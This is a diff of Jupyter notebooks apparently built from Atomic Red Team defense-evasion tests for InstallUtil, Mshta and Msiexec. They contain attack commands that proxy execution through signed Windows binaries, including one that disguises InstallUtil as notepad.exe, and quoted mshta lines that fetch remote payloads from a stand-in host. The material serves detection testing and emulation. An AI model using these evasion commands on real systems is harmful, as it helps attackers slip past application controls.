windows\n#### Dependencies: Run with `powershell`!\n##### Description: InstallUtil test harness script must be installed at specified location (#{test_harness})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1) -ErrorAction ignore | Out-Null\nInvoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\"\n\n```" + "source": "### Atomic Test #7 - InstallUtil HelpText method call\nExecutes the Uninstall Method. Upon execution, help information will be displayed for InstallUtil.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: InstallUtil test harness script must be installed at specified location (#{test_harness})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4405d125", + "id": "f06980b4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.004 -TestNumbers 7 -GetPreReqs" }, { "cell_type": "markdown", - "id": "318f9ad7", + "id": "4c2f7af2", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\n# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly\n. PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\n\n$InstallerAssemblyDir = \"$Env:TEMP\\\"\n$InstallerAssemblyFileName = \"T1218.004.dll\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\n\n$CommandLine = \"/? `\"$InstallerAssemblyFullPath`\"\"\n$ExpectedOutput = 'Constructor_HelpText_'\n\n$TestArgs = @{\n OutputAssemblyDirectory = $InstallerAssemblyDir\n OutputAssemblyFileName = $InstallerAssemblyFileName\n InvocationMethod = 'Executable'\n CommandLine = $CommandLine\n}\n\n$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs\n\nif ($ActualOutput -ne $ExpectedOutput) {\n throw @\"\nInstallUtil HelpText property execution test failure. Installer assembly execution output did not match the expected output.\nExpected: $ExpectedOutput\nActual: $ActualOutput\n\"@\n}\n```" + "```powershell\n# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly\n. \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\"\n\n$InstallerAssemblyDir = \"$Env:TEMP\\\"\n$InstallerAssemblyFileName = \"T1218.004.dll\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\n\n$CommandLine = \"/? `\"$InstallerAssemblyFullPath`\"\"\n$ExpectedOutput = 'Constructor_HelpText_'\n\n$TestArgs = @{\n OutputAssemblyDirectory = $InstallerAssemblyDir\n OutputAssemblyFileName = $InstallerAssemblyFileName\n InvocationMethod = 'Executable'\n CommandLine = $CommandLine\n}\n\n$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs\n\nif ($ActualOutput -ne $ExpectedOutput) {\n throw @\"\nInstallUtil HelpText property execution test failure. Installer assembly execution output did not match the expected output.\nExpected: $ExpectedOutput\nActual: $ActualOutput\n\"@\n}\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "c4cb11c0", + "id": "9b1237e4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.004 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "71793a49", + "id": "05553af7", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$InstallerAssemblyDir = \"$Env:TEMP\\\"\n$InstallerAssemblyFileName = \"T1218.004.dll\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\nRemove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "88bc3238", + "id": "397b8a9b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.004 -TestNumbers 7 -Cleanup" }, { "cell_type": "markdown", - "id": "1e822134", + "id": "49c3810a", "metadata": {}, - "source": "### Atomic Test #8 - InstallUtil evasive invocation\nExecutes an InstallUtil assembly by renaming InstallUtil.exe and using a nonstandard extension for the assembly. Upon execution, \"Running a transacted installation.\"\nwill be displayed, along with other information about the opperation. \"The transacted install has completed.\" will be displayed upon completion.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: InstallUtil test harness script must be installed at specified location (#{test_harness})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1) -ErrorAction ignore | Out-Null\nInvoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\"\n\n```" + "source": "### Atomic Test #8 - InstallUtil evasive invocation\nExecutes an InstallUtil assembly by renaming InstallUtil.exe and using a nonstandard extension for the assembly. Upon execution, \"Running a transacted installation.\"\nwill be displayed, along with other information about the opperation. \"The transacted install has completed.\" will be displayed upon completion.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: InstallUtil test harness script must be installed at specified location (#{test_harness})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "27ec2c38", + "id": "7b94de58", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.004 -TestNumbers 8 -GetPreReqs" }, { "cell_type": "markdown", - "id": "4cb1b95e", + "id": "6d26fc10", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\n# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly\n. PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\n\n$InstallerAssemblyDir = \"$Env:windir\\System32\\Tasks\"\n$InstallerAssemblyFileName = 'readme.txt'\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\n\n$CommandLine = \"readme.txt\"\n$ExpectedOutput = 'Constructor_'\n\n# Explicitly set the directory so that a relative path to readme.txt can be supplied.\nSet-Location \"$Env:windir\\System32\\Tasks\"\n\nCopy-Item -Path \"$([System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory())InstallUtil.exe\" -Destination \"$Env:windir\\System32\\Tasks\\notepad.exe\"\n\n$TestArgs = @{\n OutputAssemblyDirectory = $InstallerAssemblyDir\n OutputAssemblyFileName = $InstallerAssemblyFileName\n InvocationMethod = 'Executable'\n CommandLine = $CommandLine\n InstallUtilPath = \"$Env:windir\\System32\\Tasks\\notepad.exe\"\n}\n\n$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly\n\nif ($ActualOutput -ne $ExpectedOutput) {\n throw @\"\nEvasive Installutil invocation test failure. Installer assembly execution output did not match the expected output.\nExpected: $ExpectedOutput\nActual: $ActualOutput\n\"@\n}\n```" + "```powershell\n# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly\n. \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\"\n\n$InstallerAssemblyDir = \"$Env:windir\\System32\\Tasks\"\n$InstallerAssemblyFileName = 'readme.txt'\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\n\n$CommandLine = \"readme.txt\"\n$ExpectedOutput = 'Constructor_'\n\n# Explicitly set the directory so that a relative path to readme.txt can be supplied.\nSet-Location \"$Env:windir\\System32\\Tasks\"\n\nCopy-Item -Path \"$([System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory())InstallUtil.exe\" -Destination \"$Env:windir\\System32\\Tasks\\notepad.exe\"\n\n$TestArgs = @{\n OutputAssemblyDirectory = $InstallerAssemblyDir\n OutputAssemblyFileName = $InstallerAssemblyFileName\n InvocationMethod = 'Executable'\n CommandLine = $CommandLine\n InstallUtilPath = \"$Env:windir\\System32\\Tasks\\notepad.exe\"\n}\n\n$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly\n\nif ($ActualOutput -ne $ExpectedOutput) {\n throw @\"\nEvasive Installutil invocation test failure. Installer assembly execution output did not match the expected output.\nExpected: $ExpectedOutput\nActual: $ActualOutput\n\"@\n}\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "94f0c0d8", + "id": "f1c1149c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.004 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "0d84c707", + "id": "17b4eb17", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item -Path \"$Env:windir\\System32\\Tasks\\readme.txt\" -ErrorAction Ignore\nRemove-Item -Path \"$Env:windir\\System32\\Tasks\\readme.InstallLog\" -ErrorAction Ignore\nRemove-Item -Path \"$Env:windir\\System32\\Tasks\\readme.InstallState\" -ErrorAction Ignore\nRemove-Item -Path \"$Env:windir\\System32\\Tasks\\notepad.exe\" -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5a4b4309", + "id": "92480785", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.004 -TestNumbers 8 -Cleanup" }, { "cell_type": "markdown", - "id": "d7d195bd", + "id": "b1578e39", "metadata": {}, "source": "## Detection\nUse process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed." } @@ -382,13 +382,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1218.005.ipynb b/playbook/tactics/defense-evasion/T1218.005.ipynb index 27a58d24..f901e567 100644 --- a/playbook/tactics/defense-evasion/T1218.005.ipynb +++ b/playbook/tactics/defense-evasion/T1218.005.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "b951544c", + "id": "3afbf9e2", "metadata": {}, "source": "# T1218.005 - Mshta\nAdversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nMshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)" }, { "cell_type": "markdown", - "id": "b9e1f7f5", + "id": "83204b69", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "f4fc7f11", + "id": "74f61be8", "metadata": {}, "source": [ "### Atomic Test #1 - Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject", @@ -27,14 +27,14 @@ { "cell_type": "code", "execution_count": null, - "id": "480da094", + "id": "6baeef17", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.005 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "830fedfd", + "id": "45232021", "metadata": {}, "source": [ "### Atomic Test #2 - Mshta executes VBScript to execute malicious command", @@ -47,14 +47,14 @@ { "cell_type": "code", "execution_count": null, - "id": "cf1baa6e", + "id": "30a0d6bb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.005 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "7c73376f", + "id": "a6ac2b72", "metadata": {}, "source": [ "### Atomic Test #3 - Mshta Executes Remote HTML Application (HTA)", @@ -67,42 +67,42 @@ { "cell_type": "code", "execution_count": null, - "id": "268ece18", + "id": "c55d9622", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.005 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "01f18f05", + "id": "3b5a0727", "metadata": {}, "source": "#### Cleanup: \n```powershell\nremove-item \"$env:appdata\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\T1218.005.hta\" -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f90e23d0", + "id": "d0a27bfd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.005 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "b9d00e7e", + "id": "d1093ccb", "metadata": {}, "source": "### Atomic Test #4 - Invoke HTML Application - Jscript Engine over Local UNC Simulating Lateral Movement\nExecutes an HTA Application using JScript script engine using local UNC path simulating lateral movement.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication must be exported in the module.\n##### Check Prereq Commands:\n```powershell\n$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication']) {exit 1} else {exit 0}\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "38918f2d", + "id": "f49f88b2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.005 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "5163cf8a", + "id": "73d8d584", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -112,28 +112,28 @@ { "cell_type": "code", "execution_count": null, - "id": "ea4fff3a", + "id": "cb5b810f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.005 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "38382dcf", + "id": "927daa50", "metadata": {}, "source": "### Atomic Test #5 - Invoke HTML Application - Jscript Engine Simulating Double Click\nExecutes an HTA Application using JScript script engine simulating double click.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication must be exported in the module.\n##### Check Prereq Commands:\n```powershell\n$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication']) {exit 1} else {exit 0}\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "20a2946f", + "id": "6deb2ef8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.005 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "0806a13d", + "id": "a2864a7d", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -143,28 +143,28 @@ { "cell_type": "code", "execution_count": null, - "id": "c349be13", + "id": "0583a69e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.005 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "128bb285", + "id": "04381f86", "metadata": {}, "source": "### Atomic Test #6 - Invoke HTML Application - Direct download from URI\nExecutes an HTA Application by directly downloading from remote URI.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication must be exported in the module.\n##### Check Prereq Commands:\n```powershell\n$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication']) {exit 1} else {exit 0}\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1fded5ce", + "id": "95451cff", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.005 -TestNumbers 6 -GetPreReqs" }, { "cell_type": "markdown", - "id": "b3840254", + "id": "b2296e58", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -174,28 +174,28 @@ { "cell_type": "code", "execution_count": null, - "id": "b07ef423", + "id": "395936da", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.005 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "9a7a83b2", + "id": "041964a1", "metadata": {}, "source": "### Atomic Test #7 - Invoke HTML Application - JScript Engine with Rundll32 and Inline Protocol Handler\nExecutes an HTA Application with JScript Engine, Rundll32 and Inline Protocol Handler.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication must be exported in the module.\n##### Check Prereq Commands:\n```powershell\n$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication']) {exit 1} else {exit 0}\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ebcf0a99", + "id": "b27a0dd4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.005 -TestNumbers 7 -GetPreReqs" }, { "cell_type": "markdown", - "id": "13e36f50", + "id": "6882f579", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -205,28 +205,28 @@ { "cell_type": "code", "execution_count": null, - "id": "db720ac7", + "id": "ef70933a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.005 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "177a1012", + "id": "30226939", "metadata": {}, "source": "### Atomic Test #8 - Invoke HTML Application - JScript Engine with Inline Protocol Handler\nExecutes an HTA Application with JScript Engine and Inline Protocol Handler.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication must be exported in the module.\n##### Check Prereq Commands:\n```powershell\n$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication']) {exit 1} else {exit 0}\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b0711604", + "id": "d379d386", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.005 -TestNumbers 8 -GetPreReqs" }, { "cell_type": "markdown", - "id": "1f7e7a99", + "id": "47972e81", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -236,28 +236,28 @@ { "cell_type": "code", "execution_count": null, - "id": "35b67f34", + "id": "1816051a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.005 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "9e55446f", + "id": "a764a864", "metadata": {}, "source": "### Atomic Test #9 - Invoke HTML Application - Simulate Lateral Movement over UNC Path\nExecutes an HTA Application with Simulate lateral movement over UNC Path.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication must be exported in the module.\n##### Check Prereq Commands:\n```powershell\n$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication']) {exit 1} else {exit 0}\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9adf4368", + "id": "8c03aaab", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.005 -TestNumbers 9 -GetPreReqs" }, { "cell_type": "markdown", - "id": "be6b9367", + "id": "24e2c1e8", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -267,14 +267,14 @@ { "cell_type": "code", "execution_count": null, - "id": "a683ae53", + "id": "9ac83abc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.005 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "e3020e2b", + "id": "6079cdf2", "metadata": {}, "source": [ "### Atomic Test #10 - Mshta used to Execute PowerShell", @@ -287,14 +287,14 @@ { "cell_type": "code", "execution_count": null, - "id": "9f52c8c9", + "id": "8d3f16b4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.005 -TestNumbers 10" }, { "cell_type": "markdown", - "id": "026a9163", + "id": "d1adab3b", "metadata": {}, "source": "## Detection\nUse process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed .hta files to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the .hta file being executed.\n\nMonitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious" } @@ -302,13 +302,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1218.007.ipynb b/playbook/tactics/defense-evasion/T1218.007.ipynb index 16af7cc8..9f8bc80a 100644 --- a/playbook/tactics/defense-evasion/T1218.007.ipynb +++ b/playbook/tactics/defense-evasion/T1218.007.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "c298fcca", + "id": "ca22ffb3", "metadata": {}, "source": "# T1218.007 - Msiexec\nAdversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) The Msiexec.exe binary may also be digitally signed by Microsoft.\n\nAdversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it may be signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the AlwaysInstallElevated policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)" }, { "cell_type": "markdown", - "id": "81bbb7b2", + "id": "3f63c84a", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "e77cdd59", + "id": "92c5d4d3", "metadata": {}, - "source": "### Atomic Test #1 - Msiexec.exe - Execute Local MSI file with embedded JScript\nExecutes an MSI containing embedded JScript code using msiexec.exe\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The MSI file must exist on disk at specified location (#{msi_payload})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_JScript.msi) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_JScript.msi) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_JScript.msi\" -OutFile \"PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_JScript.msi\"\n\n```" + "source": "### Atomic Test #1 - Msiexec.exe - Execute Local MSI file with embedded JScript\nExecutes an MSI containing embedded JScript code using msiexec.exe\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The MSI file must exist on disk at specified location (#{msi_payload})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_JScript.msi\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_JScript.msi\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_JScript.msi\" -OutFile \"PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_JScript.msi\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1abbf54f", + "id": "ad13066d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.007 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "c19139c5", + "id": "8344000e", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -38,28 +38,28 @@ { "cell_type": "code", "execution_count": null, - "id": "1ff6bdfe", + "id": "6316ab04", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.007 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "234d82e1", + "id": "e35d5ea7", "metadata": {}, - "source": "### Atomic Test #2 - Msiexec.exe - Execute Local MSI file with embedded VBScript\nExecutes an MSI containing embedded VBScript code using msiexec.exe\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The MSI file must exist on disk at specified location (#{msi_payload})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_VBScript.msi) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_VBScript.msi) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_VBScript.msi\" -OutFile \"PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_VBScript.msi\"\n\n```" + "source": "### Atomic Test #2 - Msiexec.exe - Execute Local MSI file with embedded VBScript\nExecutes an MSI containing embedded VBScript code using msiexec.exe\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The MSI file must exist on disk at specified location (#{msi_payload})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_VBScript.msi\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_VBScript.msi\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/bin/T1218.007_VBScript.msi\" -OutFile \"PathToAtomicsFolder\\T1218.007\\bin\\T1218.007_VBScript.msi\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "82fe0543", + "id": "b77db693", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.007 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "9132e109", + "id": "4b27a903", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -69,28 +69,28 @@ { "cell_type": "code", "execution_count": null, - "id": "0078c9aa", + "id": "6e2cf3ca", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.007 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "7d2bba20", + "id": "7aa41a82", "metadata": {}, - "source": "### Atomic Test #3 - Msiexec.exe - Execute Local MSI file with an embedded DLL\nExecutes an MSI containing an embedded DLL using 